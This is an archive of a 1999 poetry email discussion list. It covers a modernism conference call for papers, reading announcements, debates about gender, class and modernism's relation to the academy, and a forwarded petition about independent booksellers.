3. Modernism and the Victorians Mary Ellis Gibson (University of North Carolina--Greensboro) and Cassandra Laity (Drew University) How did modernists create narratives of artistic inheritance, reflecting or diverging from their predecessors? How did gender sexuality and changes in publishing and distributing art shape these narratives?

4. Provincial to European: Constructing British Modernisms Nancy Gish (University of Southern Maine--Portland) How has political and poetic devolution in contemporary Britain challenged, displaced, or reconceptualized "English Literary Modernism" constructed as Eliot's continuation of "the mind of Europe?"

5. New Approaches to the Harlem Renaissance
Robert von Hallberg (University of Chicago)
[25-word description still pending. See the website for an update.]

6. Modernity, Gender and Pan-Africanism
Cyraina Johnson (University of Notre Dame)
This seminar invites papers addressing the relation between modernity and Pan-Africanism, as seen through the prism of the late 19th- and early 20th-century constructions of race and gender.

7. Modern and Contemporary Women Poets
Linda A. Kinnahan (Duquesne University)
This seminar invites papers exploring how contemporary women's poetry is connected to/affected by/read in relation to the continuing recovery and (re)reading of women modernist poets.

8. Modernism and Queer Theory
Colleen Lamos (Rice University)
What is the relation between modernist aesthetics and the emergent psycho-medical discourse on homosexuality? How does queer theory alter our understanding of modern literature?

9. Modernism and Pedagogy Gail McDonald (University of North Carolina--Greensboro) Theoretical and practical approaches to modernist texts in the classroom: issues of difficulty, allusiveness, and cultural "capital." What can pedagogy reveal about the assumptions and aesthetics of modernist experimentation in fiction, poetry, and the other arts?

10. Recontextualizations of Modernism
Michael North (University of California--Los Angeles)
[25-word description still pending. See website for an update.]

11. Modernism and the Jewish Writer
Alicia Ostriker (Rutgers University)
Discussions of modernism in Jewish poetry and fiction, in terms either of formal experiment, or thematic concerns such as the immigrant experience, the Great War, changing gender roles.

12. Modernism and Post-Colonialism
Leonard Orr (Washington State University)
What is the impact of post-colonial theory on modernist studies? How do modernist texts represent double consciousness, syncretism, and the trauma of diaspora?

13. Modernism and Politics Stan Smith (Notthingham-Trent University) The modernism of Eliot, Pound, Yeats, Wyndham Lewis, Lawrence, etc. seems inextricably linked with a right-wing authoritarian, hierarchical, and masculine politics. Is the conjuncture merely coincidental, or are there deep structural reasons for the link?

14. Modernism and the Law
Robert Spoo (University of Tulsa)
This seminar will consider authors in various legal contexts, including (but not limited to) obscenity laws, customs and postal regulations, passport restrictions, copyright and libel laws.

15. Modernism and the Occult Leon Surrette (University of Western Ontario) Papers of a critical and scholarly nature are invited on occult topics in modern poetry or fiction and/or occult writers. By "occult" we mean a hidden ("occult") tradition of religious belief, or secret ritual practice. Secret societies are a different category.

16. Modernism and the Canon Keith Tuma (Miami University, Ohio) This seminar will explore how we might represent British modernist literature in a post-national and post-canonical American academy in which the once-privileged position of "British" literature is increasingly a thing of the past.

Seminar assignments will be made on a firstcome/first served basis beginning now and extending to August 1st.

Please submit a ranked list of two or three seminars to:

Sanford Schwartz
Department of English
The Pennsylvania State University
116 Burrowes Building
University Park, PA 16802-6200

Fax: [redacted]
E-Mail: [redacted]

Once the assignments are completed, each seminar leader will contact the other members of the group and set a precise timetable for the exchange of materials. The general guidelines are as follows: around mid-July, each participant sends a one-page precis to all other participants in the seminar; around the beginning of September, each participant sends his or her essay to all other participants.

Panels

The program committee welcomes proposals for panels, though only a limited number can be accepted. The committee is especially interested in interdisciplinary topics. Please include the following: your name, session title, professional affiliation, mailing address, phone number, fax, and e-mail address, the names and affiliations of the other members of your session, a 250-word abstract on the topic of the proposed session.

Send proposals postmarked, faxed, or E-mailed by June 1st to:

Sanford Schwartz
Department of English
The Pennsylvania State University
116 Burrowes Building
University Park, PA 16802-6200

Fax: [redacted]
E-Mail: [redacted]

The program committee will notify those who have submitted proposals by June 30th.

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213. Poetry Project
Future readings in the outer province
Wed 17 Mar 1999

For anyone heading to NYC this spring or anyone here, readings on Monday nights at the Poetry Project (131 E. 10th St., St. Mark's Church) are as follows:

March 22 -- Hoa Nguyen & Dale Smith

April 12 -- Brian Kim Stefans & Dan Farrell

April 26 -- Pamela Lu & Robert Fitterman

May 10 -- Tom Devaney & Gregory Fuchs

May 17 -- Rosa Alcala & Mary Burger

May 24 -- Camille Guthrie & Lytle Shaw

June 6 -- Ruth Altman & Gordon Ball

All are welcome.

Thanks,

Anselm Berrigan

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214. A. Jenn Sondheim
please check out
Wed 17 Mar 1999

---

http://stadiumweb.com/turnstile/turnstile_part2.html

- I forget where the URL came in, but this is one of the most fascinating works I've ever seen on the Net and well worth a visit; I've been back a number of times.

Alan

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215. Charles Bernstein
More Listserv Technical Problems
Wed 17 Mar 1999

At this point, Chris Alexander is unable to get access to his email account due to yet more problems at the UB mailhub. This will disrupt posatings the list yet again, but nothing should be lost Chris will be back on line as soon as possible.

Charles Bernstein

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216. Elizabeth Treadwell
of Mothers & Daughters
Wed 17 Mar 1999

**Chris -- if this is too "macro" feel free to delete. of course. Cheers, E.

Hi all, Maria Damon says that she doesn't like to discuss gender issues on the list (the payoff being negligible and the irritation high?) but that is one thing that keeps me turning to the list, even tho it can get ugly. I've felt in the last few days that its been really really interesting and not at all ugly, not at all implosive, with Kevin and Joel and Kathy Lou weighing in on Page Moms etc, and was very pleased to see Rachel's response to my "delinquent daughter" query. These gendered concerns aren't quite separable from that nebulous thing that might be called my poetix. Tho reading Joel's essay/epistle made me think bringing up delinquent daughter questions here might be talking out of school if that is the right phrase. I just hope the lurker women keep on or start speaking up. I really do. Briefly, Elizabeth

Outlet Magazine -&- Double Lucy Books
P.O. Box 9013, Berkeley, California 94709 U.S.A.
http://users.lanminds.com/~dblelucy

↑ Index

217. **Mark Weiss**
Re: of Mothers & Daughters
Wed 17 Mar 1999

The talk went by pretty fast, even by Marjorie's standards, but I thought that she was in fact taking them to task. I wonder if othersnperceived this differently.

At 10:41 AM 3/16/99 -0700, you wrote:
>don't you think that these are Perloff's men and she has to protect/project
>their dominance or she risks seeing her own writing about them become
>irrelevant?
>
>
>forbidden plateau fallen body dojo
>4 song st.
>nowhere, b.c. V0R1Z0
>canadaddy
>
>

↑ Index

218. **Poetics List Administration**
"gas jockeys Unite": 5 years of filling Station Magazine / Beaulieu
Wed 17 Mar 1999

---

had to reformat this. Chris

---------- Original message (ID=1F35F22F) (123 lines) ----------

From: "derek beaulieu / house press" <[redacted]> Subject: "gas jockeys Unite": 5 years of filling Station Magazine Date: Wed, 17 Mar 1999 15:50:02 -0700

filling Station magazine is proud to announce:

"Gas Jockeys Unite": Celebrating 5 years and 15 issues of filling Station Magazine!

Carpenter's Union Hall, Calgary, Alberta
April 17, 1999 7:30pm

for 5 years filling Station has been dedicated to publishing new and established authors, poets and graphic artists from around the globe.

We are pleased to announce a fundraising party on April 17th featuring local Calgarian bands and readings by:

Jeff Derksen
Suzette Myer
Richard Harrison
and many others!

cover charge TBA

stay tuned for further details and more information!

if you are interested in hearing more about this event or about filling Station Magazine in general, please feel free to contact:

Derek Beaulieu and Courtney Thompson at:
(h)[redacted]
(fax)[redacted]
[redacted]

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219. **Kevin L. Magee**

Event Note: Transcendental Friend's 1st Anniversary

Wed 17 Mar 1999

3/16. Dactyl Foundation. 65 Grand St. NY.

Why did you come here. To observe a space. What space. Any space. Voices attached to faces. Whose face belongs to what voice. Are you here. What is 'there' to being 'here.' Who is where you are is why you are not here is why I'm here. So there. The effort it takes to hold a face in focus. Whose name does it belong to? Envelope, bookmark. Did that send you? Upend you. I arrived early and well how have you been? Is it possible that a real face might attach to the

name here. Names here. Marcella Durand. Duncan Dobbelman. Lisa Jarnot. Heather Ramsdale. Dan Machlin. Henry Gould. Kristen Prevallet. Laird Hunt. Garret Kallenberg. This is an art space. "Did you see the collected prose in two lines?" "There's so much more stuff." "Incredible like prose things going on." "It's not even in the James Laughlin stuff." "He's got a CD." You keep looking for omens. What do you hear. What are you near? I got an invite. It convinced you. A sign. Is this the new city? Show up on bare hope. People keep making poetry, only the faces change. Who is making what up. Invisibility. It's good to go somewhere and wind up there. Hi Kids! Don't talk to them. Marcella Durand: "Nearby are more circuitous routes" (reading "Artery"). Duncan Dobbelman's Gaspard--reading too close to the page--and the Five Fingers: literary-scholastic. Lisa Jarnot: "Thanks Garrett I didn't understand what you said." (You Armadillo). Heather and Garrett's collaborative piece, "Bodies Correlating through some Medium"--wit, charm, but what's the difference between dialogue and counterpoint? Voices set off or slide off one another, presentational, encased, enclosed. Dan Machlin: "a Joseph's coat of outward desire." The line, "I am perpetually okay" draws a laugh from the polite audience. Henry Gould: "Your move, Beatrice." Gould's verbal improv, sound play, parodies folk/country speech rhythms (can you hear anything you make fun of?) Prevallet: Cocteau trans. in next issue. "Birds are our friends." "Marble is very influential." Laird Hunt: old french poem about a horse. Exercises de style. Everyone here has gone to a good school. Sweet, well educated, voices. BiblioPHILIA, not BiblioMANIA. Jarnot's voice had an engine running under it. Maybe Dan Machlin's. Albertine as I was leaving: "I've got feelings too." See you later, maybe. Some poems I respond to in "The Friend": "The Human Face" (Artaud Morpion/Artaud parasite) trans. Jonathan Skinner in issue 2, April 1998, and Skinner's note on "Grace" in issue 3, May 1998; see also Skinner's trans. of a poem by Ghrasim Luca in issue 6, Nov. 1998 (where was Skinner Tuesday night?) see also the "Selected Notes of Robert M. Larsen, ed. Kallenberg and Larsen, in the Rosetta section of issue 6, Nov. 1998. See also Alan Gilbert's note on Marxist linguistics in I forget which issue. Class is a language. There are proto-piracies going on among these pages, along with a whole lotta Lamartine. Gaspard de la nuit? French ponies? peonies? poesis? (In the voice of Rene Gladman): Abuse your class privileges! False translate the French Africans! NOW.

KM--NY/Cleveland

↑ **Index**

220. **maz881**
e-dress wanted 9 antin
Wed 17 Mar 1999

In a message dated 3/17/99 5:13:44 AM Hawaiian Standard Time, [redacted] writes:

Return-Path: <[redacted]>
air-yb03.mail.aol.com (v56.26) with SMTP; Wed, 17 Mar 1999 10:13:44 -0500
[204.91.180.2])
by rly-yb02.mx.aol.com (8.8.8/8.8.5/AOL-4.0.0)
with ESMTP id KAA21038 for <[redacted]>;
Wed, 17 Mar 1999 10:13:44 -0500 (EST)
ppi-ims-ny3751.penguinputnam.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2232.9)
id HCKSVV6J; Wed, 17 Mar 1999 10:11:15 -0500
id <GT6Z63LN>; Wed, 17 Mar 1999 10:12:35 -0500
From: "Rothschild, Douglas" <[redacted]>
To: "'[redacted]'" <[redacted]>
Subject: RE: POETICS Digest - 15 Mar 1999 to 16 Mar 1999 (#1999-49)
Date: Wed, 17 Mar 1999 10:06:03 -0500

yea, while we were in SD & antin was way out of fasion with the CFAP (so mike D never talked about antin or what he was up to)....yada, yada..... but the story of the sky poems is in some antin talk that he gave at UCSD. he gets some grant to do this thing & finds this sky writer & antin says that he always wanted to sky write a poem ever since he saw this sky writing as a boy at coney island (or some other beach)...Harold Fox Fabulous Furs...so antin says that he always imagined a fox with great fur....& the sky writing guy in LA (the only one antin found on the coast at the time) says, that was my dad--who sky wrote that. antin describes the sky writing as interesting because the begining of a line would disappear before the end of a line was finished, & though it was not as he imagined it, he found the result to be interesting. (he did it in LA i think).

> *-----Original Message-----*
> *From:* [redacted] *[SMTP:*[redacted]*]*
> *Sent: Wednesday, March 17, 1999 3:44 AM*
> *To:* [redacted]
> *Subject: Fwd: POETICS Digest - 15 Mar 1999 to 16 Mar 1999 (#1999-49)*
>
> *antin did sky poems?*
>
> *<< Date: Sun, 14 Mar 1999 23:28:35 +0100*
> *From: cris cheek <*[redacted]*>*

> *Subject: e-dress wanted*
>
> *Anyone here got a working e-dress for David Antin? I'd be much abliged. Also anybody who saw his 'Sky Poems' I'd be keen to hear about that experience and if you've got any documentation of the events.*
>
> *thanks in advance*
>
> *love and love*
> *cris >>*
> *<< Message: POETICS Digest - 15 Mar 1999 to 16 Mar 1999 (#1999-49) >>*

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221. **Kathy Lou Schultz**

Re: of Mothers & Daughters

Wed 17 Mar 1999

Yes, in response to Dodie Bellamy, I have to say it was absolutely fascinating the speed with which this man's question was dismissed. Class peeps out into the open briefly and then BAM! silence. Fascinating and all-too-familiar. I thought Laura Moriarty was trying to point out (correct me if I'm wrong here, Laura) that there are in fact working class and people of color among "us" (experimental poet types). She seemed to be identifying as working class and saying that the evidence of class can therefore be "oneself." I went up to "the man" asking the question afterwards and got his name and address (he's Chris Beach--Hi Chris are you out there?) and he and I had a discussion with Bobbie West about what had happened. They both seemed a bit stunned. Me, I felt "same song different day" playing in my head and saw all of my college experiences passing before my very eyes. I promised to send them both my essay on class and experimental poetries that appeared in the premiere issue of Tripwire (and I will--promise). Yedda Morrison, one of the editors, was extremely supportive in helping me to bring this essay into being. But there is MUCH MORE to be done. Thanks to Dodie for raising the issue here. Kathy Lou Schultz

> *Interestingly, one guy posed a question to my panel about class--and I was all ready to speak--finally this could be talked about because it is an important issue, I feel, one that is denied over and over again--and somebody besides me and Kathy Lou Schultz thinks so. Laura Moriarity said that class differences were breaking down--something I disagree with, which is odd since I usually agree with Laura. But then Carla jumped up and started yelling at Marjorie and the issue, once again, got swept under the rug.*
>
> *Dodie*

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222. John Tranter
Let's do the Modernism!
Thu 18 Mar 1999

I was interested to note the announcement for the Modernism Conference at Penn State.

There's one blindingly significant point about Modernism Then and Now that I bet doesn't get talked about at this Conference, to wit:

Of all the thirty or so people who created Modernism (in poetry and prose), not a single one of them ever taught at an American university. They never did it, ever.

Off all the thirty or so people discussing Modernism at Penn State, every single one of them makes a living teaching at an American university. They do nothing else, all the time.

Hmmm . . .

JT

from John Tranter, 39 Short Street, Balmain NSW 2041, Sydney, Australia
tel ([redacted] fax ([redacted] Editor, Jacket magazine:
http://www.jacket.zip.com.au/welcome.html Homepage: five megabytes of glittering literature, free, at
http://www.alm.aust.com/~tranterj/index.html

↑ Index

223. John Cayley
email address requests
Thu 18 Mar 1999

Can anyone send me - back channel *current* email addresses for:

Christian Bok
Will Alexander
Ronald Fraser Munro
Lisa Robertson

Thanks in anticipation,
John

↑ Index

224. Linda Russo
Re: question
Thu 18 Mar 1999

Women Poets at Barnard presents

Where Lyric Tradition Meets Language Poetry: Innovation in Contemporary American Poetry by Women

Barnard College, Columbia University,
New York City
April 8 April
10, 1999

A preliminary schedule for the Barnard conference in April is posted at

http://www.zip.com.au/~jtranter/jacket06/barnard.html

> *Has anyone heard of a women and poetics conference happening at Barnard in April?*
>
> *wondering, betsy*

↑ Index

225. Poetics List Administration
Re: Page Mothers & Delinquent Daughters / Russo
Thu 18 Mar 1999

had to reformat this. Chris

---------- Original message (ID=5A456822) (578 lines) ----------

From: "Linda Russo" <[redacted]>
Subject: Re: Page Mothers & Delinquent Daughters
Date: Thu, 18 Mar 1999 10:31:22 -0500

I've been thinking about Rachel's post responding to E. Treadwell's & trying not to disagree with her as I like the serendipity of what she proposes (akin to an idea Rachel you've expressed to me before -- the idea that you do something and if someone else does something as a 'result' of that, that's just something else, something they've done) but i just can't put stock in this kind of separatism -- the way you would separate generations and things generated (poems from people)

first, I agree with the troublesome "assignment" of continuing the project of another generation, and to be acused of laziness for not outwardly appearing to carry on the good fight makes at least one narrow assumption: that the fight will take on a guise or method that is similar in its devices and so immediately

recognizeable as a continuation. Yes we are doing a different and a next thing, and the problem seems to be that we're not acknowledging where we came from so to speak -- so we're perceived of as having lost some ground. I don't see any problem in asking for evidence that this hasn't indeed happened in the form of 'statements of poetics or positions' that work to clarify one's relationship to advances that have been made -- especially where 'advances' may not be perceived as such under the 'new' methodology, i.e. where certain techniques are rejected as ineffective tools (the victim-centered poetry of the early women's movement, e.g.). Maybe the statement mode right now is sort of dead. No one here I think responded to Rebecca Wolff's "manifesto" posted a while back; though I'll admit that I'm guilty of thinking about it & not being sure how to respond, or not being sure that the list was a fertile place for a response -- though I would very much like this list to be so -- or for this response, an issue I'm working out in response to Joel's most recent post.

Nancy Shaw from the Kootenay School of Writing gave an interesting talk on this point last night to a small audience at the Corner Shop here in Buffalo. The talk isn't published, she wrote it for this particular occassion, but what she said is extremely pertinent to this situation. She suggested that the manner in which 'so called Lang poets' related their poetics to the social (namely irony) had played itself out, that their social effectivity was measured on 'modalities of difference' (analogy, constructionism, subjective expression) as articulated in Watten's "Bride of the assembly line" which were to some extent no longer useful for charting developments. This I think may be why we're accused of not doing anything, because we are constructing new modalities as it were.

(I find myself suddenly irritated by this 'we' i've been using, as it is simply in this context a generational tag -- Nancy referred to the 'so-called under forties' -- and I don't feel particularly that there is a 'we' that I'm related to (more than peripherally, of incidentally) in any aesthetic sense -- but this might be part of the 'problem' or at least indicative of how different the situation is now then it was 70 years ago when, for example, there wasn't this list to provide one with a sense of poetic kindredness -- a point I'm taking up in my response to Joel).

Nancy discussed Sianne Ngai's "Poetics of Disgust" (orig. pub'd in _Open Letter_) as making the sort of moves that Silliman (et al?) had demanded (in Philly Talks) but as being ignored as such, criticized on the basis of it's having been carelessly read. She proposed that a Poetics of Disgust works as a "cultural poetics," a relation of poetics to the social 'in the tradition of' Lang po, but structured with its own, although contingent, ideaology.

it is perhaps this sort of connection -- a shift in modalities -- that we are to be on the look out for, and that ought to be written about. reviews can facilitate this if a book is read with the question in mind: how is this doing something

differently? How does it compare to this other thing? (and here i'm having a deja vu from talking to Leslie Scalapino about a year ago, about what brought her to the lang po crowd in the first place -- so i can see where it's easy to read her in terms of a dis-connected geneaology, when really her geneaology is just slightly 'other'). And finally what does this difference achieve that the other thing couldn't? That is, if you want to read poems as possible sites of such cultural or political achievement.

Nancy does this, and her term for such is "Cultural poetics" (her term I think) is a hybridization of Birmingham School Cultural Studies and Poetics. I found this point confusing, as cultural studies as it is currently being imagined is at once flaggelating itself for its lack of political/social effectivity and reassuring itself that that's ok -- it's just a set of diagnostic devices, and an intellectual and not necessarily a political tool (ut oh -- am i to be accused of saying the intellect isn't a political tool? or are those days over?). I would rather call it a Materialist Poetics (and here again i wave in the direction of the response I'm preparing to Joel's post)

This brings me to the other sort of separation you Rachel (via Kevin via Scalapino) would bring about in the name of not falling for parent/hero-worship, not worrying the bridge, etc. Because it seems to me that you would dismiss a sort of personal/communal lineage altogether (a canon even). I don't think Scalapino would advocate this as she'll readily tell you what her lineage is and how important it is to her.

> *I do take much issue with the nonchalance with which poet-writers assume heroes, find it necessary to have pet influences and mythical notions of some person behind the poem- and, if killian's sum was right-on, i would agree with scalapino, that the cult of the revered figure is rather in service of obliterating interaction with the writing and if scalapino, in her argument against immersing oneself in some kind of lineage, 'makes some abrupt jumps', all the more reason for actually looking at the writing that she is talking about, no? - is it not about time that chronology (and the presumed debt to preserve it) cashed in its chips? -*

I'd like to hear more about this nonchalance. & what about material rather than mythical notions of persons behind poems? I mean I just can't that gleefully feel like I'm interacting with writing and that's great, and that's IT, because I'm constantly reminded of the material circumstances in which poems are produced (and I may be accussed of generalities here, but i'm referring to the poetry that currently circulatees in and around this list, American poetry usually emmanating from sub/urban areas many of which I have been too) But I wouldn't obliterate that writing-interaction either. Maybe i'm limited by my own condition, my need to be materially located, to feel poems in some way connected to places. I suppose it's intellectually generous of you to read

Scalapino's obtuseness as a pointer to some 'originary'(?) sources, as a sort of self-effacement -- "don't sit here trying to figure this out! read stein!" I think scalapino would agree that though we shouldn't focus too much on the self, the self is mired in particular material circumstances to which he/she responds (or she never would have left her Oakland abode to see what all the fuss was -- the fuss for example that turned into Perelman's _Writing/Talks_), and that lineage is part of that circumstance, as is being handed down a certain set of tools and problems to work with or refuse. I don't know what you mean by time cashing in its chips -- is time playing poker and we're the cards, shuffled about, operating only by chance? There's too much intention in poems and the circumstances under which they get circulated to run on that.

But I also think that it's not unreasonable to expect that some position-taking be risked or some degree of indebtedness (not to the dealer but to the ante) -- or refusal -- be acknowledged. I also think it's important to 'continue the project' so one doesn't loose too much ground and risk worshipping the Ally McBeal of the new feminism in contemporary poetics. I'm interested in a cultural worker not some mythological/fictional hero -- and the only evidence of that is in the construction of a 'cultural poetics' or otherwise formulated responses to poems and not in the poems themselves -- the reception/reaction of poems are as important as putting them out there.

After a veritable proliferation of little magazines that serve the social (and the political perhaps via the sort of networking they make possible) by publishing almost exclusively a lot of poetry I take _tripwire_s conception as a sign that people are ready to start having these sorts of conversations. That's exciting.

thanks for tuning in,
linda

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226. Cassandra Laity
Modernism and American Us'
Thu 18 Mar 1999

Date: 18-Mar-1999 11:06am EDT
From: Laity, Cassandra
CLAITY
Dept: FAC/STAFF
Tel No: 3141

TO: Remote Addressee ([redacted])

Subject: Modernism and American Us'

Dear John Tranter and Others, I won't entirely dispute the implications of your posting on modernism and the American University. But I would like to refer you to Gail McDonald's wonderful book, _Learning to be Modern: Pound, Eliot and the American University- (Oxford, 1993) in which she explores American educational history as a context for what Pound and Eliot learned in Universities, how the poets needed universities, and how universities needed them. "Rewriting the syllabus of exemplary writers [Eliot did], revising the rules of poetic decorum, and proposing new standards for the study of poetry, Pound and Eliot emulated and contributed to the American academy's reformation of its mission and curriculum as it evolved from nineteenth-century religious college to twentieth-century research university" (McDonald, vii). We would be honored if you would sign up for our seminar on Modernism and pedagogy run by Mcdonald at the "New Modernisms" conference. There will be several poets there as well--Alicia Ostriker, Rachel Blau DuPlessis and others. Cassandra Laity _MSA_ Program Committee

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227. **Christopher M Devenney**

Re: of Mothers & Daughters

Thu 18 Mar 1999

I've been following this "thread" with some interest over the last week or so, and I would like to make one small contribution to this nascent discussion concerning the issue of "class." While I was not at the conference (Buffalo to San Diego requires more dollars than I have or can find), as I read the various comments and hear that the question of class was raised--"what about class?"--I'm reminded of a series of "what about" questions that have pervaded various discussions--academic and non--over the last decade or so. The interesting thing about the "what about" question is that it tends toward implosion, pulling everyone and everything into its center, though it is a center more often than not that functions uncritically, tending to stand on a "moral" ground rather than upon anything that makes "sense." So "what about class?" Yes, indeed, as indelicate, and possibly polemical as this may come across (not my intention), what about it?

Wittgenstein once wrote: "A philosopher says that he understands the sentence 'I am here,' that he means something by it, thinks something--even when he doesn't think at all how, on what occasions, this sentence is used. And if I say 'A rose is red in the dark too' you positively see this red in the dark before you." Is there an analogy to be made here between "a rose is red in the dark" and the red we positively see, fantastically, in the dark, and the shearing question "what about class," or am I just grossly misunderstanding? Still, I cannot seem to get past the circularity of the question, the unstated assumption that we indeed all

know what 'x' is: "Imagine someone saying: 'But I know how tall I am!' and laying his hand on top of his head to prove it."

Chris Devenney

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228. **Brian Lennon**
Re: Let's do the Modernism!
Thu 18 Mar 1999

In response to John Tranter's observation on the Penn State Modernism conference:

I admit that my own ambivalence about academic life, and its deadening effects, is gratified by this riposte. And yet: would we rather have no Modernism conference than one conducted by (American) pro scholars?

I certainly can't say with any authority that the situation of literary artists inside and outside the American university is any different than it was at the time of historical modernism, but common sense would suggest it be so. To suggest, furthermore, that any academic is *not* profoundly ambivalent about her or his occupation seems unrealistic at the least.

However, JT's response was intended as wit. Perhaps I'm responding off-mode.

At 04:54 PM 3/18/99 +1100, John Tranter wrote:
>I was interested to note the announcement for the Modernism Conference at
>Penn State.
>
>There's one blindingly significant point about Modernism Then and Now that
>I bet doesn't get talked about at this Conference, to wit:
>
>Of all the thirty or so people who created Modernism (in poetry and prose),
>not a single one of them ever taught at an American university. They never
>did it, ever.
>
>Off all the thirty or so people discussing Modernism at Penn State, every
>single one of them makes a living teaching at an American university. They
>do nothing else, all the time.

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229. **Christopher Reiner**
L.A. Books reading this Sunday
Thu 18 Mar 1999

(Academy what? Awards? Never heard of 'em...but lemme tell you about this reading...)

SUNDAY, MARCH 21, 1999

Poets Eleni Sikelianos (New York City) and Robert Crosson (Los Angeles) read from their work at Cafe Balcony, 12431 Rochester Avenue, Los Angeles. 4:00 p.m., [redacted]. Part of the L.A. Books reading series. $ 5 donation goes directly to readers.

ABOUT THE READERS: Eleni Sikelianos has published several books and chapbooks of poetry, including The Book of Tendons, and, most recently The Lover's Numbers. She is the recipient of an NEA fellowship in poetry, and two Gertrude Stein Awards. She lives in New York City, where she works at St. Mark's Poetry Project and Teachers & Writers Collaborative.

Robert Crosson's many books of poetry include the long poem Geographies, and, most recently, a poetry chapbook In the .thers of the Amazon. Crosson's work is included in the Los Angeles anthologies Poetry Loves Poetry and L.A. Exiles. In 1989, he was awarded a poetry fellowship by the California Arts Council.

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230. **Maria Damon**
Re: Let's do the Modernism!
Thu 18 Mar 1999

At 4:54 PM +1100 3/18/99, John Tranter wrote:
>...
>Of all the thirty or so people who created Modernism (in poetry and prose),
>not a single one of them ever taught at an American university. They never
>did it, ever.
>

the idea that modernism was created by 30 people is, i thought, the very idea that new modernist studies is intended to put to rest. if this conference ends up being one more roster of Lives and Works of the Greats, what's the point?

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231. **derek beaulieu / house press**

Fw: for info or action

Thu 18 Mar 1999

-----Original Message-----
From: [redacted] <[redacted]>
To: [redacted] <[redacted]>
Date: Thursday, March 18, 1999 10:48 AM
Subject: for info or action

> *CIRCULATE WIDELY*
>
> *Petition to protect small booksellers. This petition is important to the small independent booksellers. Please take a moment to sign it.If you are the 50th, 100th, 150th signature, please e-mail the petition to the AMERICAN BOOKSELLERS ASSOCIATION, e-mail address* [redacted] *.*
>
> *If you want more info, here is a web site: http://web.bookweb.org/m-bin/by_topic?topic_id=37*
>
> *PETITION TO BLOCK BARNES & NOBLE ACQUISITION OF INGRAM*
>
> *This petition will be sent to the US Congress, Department of Justice and the Federal Trade Commission to block Barnes & Noble's proposed acquisition of the Ingram Book Company, the single largest supplier of books to small bookstores across the country. This acquisition, should it be allowed to take place, is just one more example of the large scale corporate consolidation that has infiltrated every corner of our culture.*
> *As the desire intensifies to increase bottom line profits, no matter what the other consequences, so does the concentration of power in the book industry. Consumers are left with an environment in which fewer and fewer people are deciding which books get published and ultimately, which books Americans can read and buy. Barnes & Noble has already entered into an alliance with the $14 billion media giant, German-owned Bertelsmann AG. Now with Barnes & Noble's proposed acquisition of the billion-dollar Ingram Book Company, there can be little doubt that the book industry is falling prey to the same anticompetitive ills that currently plague computer software and other industries. This deal would make independent bookstores virtually dependent upon their largest competitor for their books. (It is as if Burger King and Wendy's had to buy their French fries from McDonald's).*
>
> *We need your help. As a patron of independent booksellers, please sign the petition to help us lobby the government to stop this proposed merger.*

Please exercise your right as a citizen and tell the government how you feel. We sincerely thank you for your support.

Please add your name to this petition and forward it to as many people as you can. If you want to sign the petition but not send it around, please sign and return it to e-mail address above.

***IMPORTANT: Do not use the "Forward" utility in your mail program. Instead, cut and paste this message into a NEW E-MAIL, add your name to the bottom of the list, and send it out widely to all your friends and networks. ***

1. Meg Gouraud, Canon City CO
2. Garrison Keillor, St. Paul MN.
3. Roy Blount Jr., NY NY
4. Ridley Pearson, Bellevue ID.
5. Amy Tan, San Francisco CA
6. Stewart Wallace, New York NY
7. Richard Einhorn, NY, NY
8. Norman Hollyn, Santa Monica CA
9. JoAnn Hanley, Los Angeles CA
10. Isabel King, Gardena CA
11. Maya Conn, Santa Monica CA
12. Matthew Weinstein, Brooklyn NY
13. Alice Shechter, Brooklyn NY
14. Bj Richards, Oak Park, Il.
15. Susan Salidor, Chicago, IL
16. Heidi Kafka, Chicago, IL
17. David Lavan, Chicago, IL
18. Annissa Anderson, Bend, OR
19. Cheryl Heinrichs, Bend, OR
20. Sean F. Everton, San Jose, CA
21. Deanne L. S. Everton, San Jose,CA
22. Dawn Ramsey, Bend, OR
23. Barbara Boothby, Bellingham, WA
24. Laura Cazares, Santa Barbara, CA
25. Karin Gursky, San Rafael, CA
26. Gregory Hines, San Francisco, CA
27. Hal Conklin, Santa Barbara, CA
28. Daniel Figlo, Santa Barbara, CA 29. Neal Rabin, Santa Barbara, CA
30. Christopher Horner, Venice, CA
31. Luis Watts, Bloomfield Hills, MI
32. Joel Swadesh, USA
33. Jane Prettyman, Santa Barbara, CA
34. Joe Forgy, Texarkana, TX
35. Janet Stevens, Irvine, CA

> *36. Jeannie Brown, Mission Viejo, CA*
> *37. Patricia Sierra, Toledo, OH*
> *38. Austin Wright, Cincinnati, OH*
> *39. James Wheatley, W. Hartford, CT*
> *40. David Richter, New York, NY*
> *41. John Richetti, Philadelphia, PA*
> *42. Nina Auerbach, Philadelphia, PA*
> *43. Catherine Benamou, Ann Arbor, MI*
> *44. Celeste Olalquiaga, NYC*
> *45. Eunice Lipton, NYC*
> *46. Sharon Frost, NYC*
> *47. Allen Eisenberg, NYC*
> *48. Alan Sondheim, NYC*
> *49. E.M.Garrison, Boise, ID*
> *50. John Cayley, London, UK*
> *51. Miles Champion, London, UK*
> *52. Lynette Hunter, Leeds, UK*
> *53. Frank Davey, London, ON, CAN*
> *54. Susan Rudy, Calgary, Alberta, CAN*
> *55. Jonathon Wilcke, Calgary, Alberta, CAN*
> *56. Derek Beaulieu, Calgary, Alberta, CAN*

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232. Karen McKevitt
Under Flag
Fri 19 Mar 1999

As many of you probably already know, Kelsey St. Press has re-printed Myung Mi Kim's _Under Flag_.
(So now everyone will be able to purchase it from SPD!)

But I also wanted to let all of you teachers know that if you are interested in teaching the book, or want more information, please contact Kelsey St. Press by responding to [redacted], or you may e-mail me at [redacted].

Karen McKevitt
Get Your Private, Free Email at http://www.hotmail.com

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233. Kathy Lou Schultz
Class & poetics
Fri 19 Mar 1999

I've gotten several backchannel requests for copies of my essay on class & poetics entitled "Talking Trash, Talking Class: What's a Working Class Poetic,

and Where Would I Find One?" I sincerely appreicate the interest in this topic. The essay appeared in Tripwire: A Journal of Poetics No. 1, which is edited by Yedda Morrison and David Buuck. If you are able, it would be great to support the editors of this wonderful journal. The magazine is available from Small Press Distribution in Berkeley, Calif. (www.spdbooks.org) and has a cover price of $6. If you are having trouble getting the magazine, let me know and I can send you a copy of the essay. Thank you, Kathy Lou Schultz [redacted]

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234. Robert Archambeau
Irish Experimental Poetry Online
Fri 19 Mar 1999

Steve Tomasula of The Notre Dame Review has set up an online supplement including poems by Catherine Walsh, Trevor Joyce, Maurice Scully, Randolph Healy and Geoffrey Squires.

The site also features short bios of the poets and an interview I did with Randoph Healy.

The URL is:

http://www.nd.edu/~ndr/issues/ndr7/ndr7.html

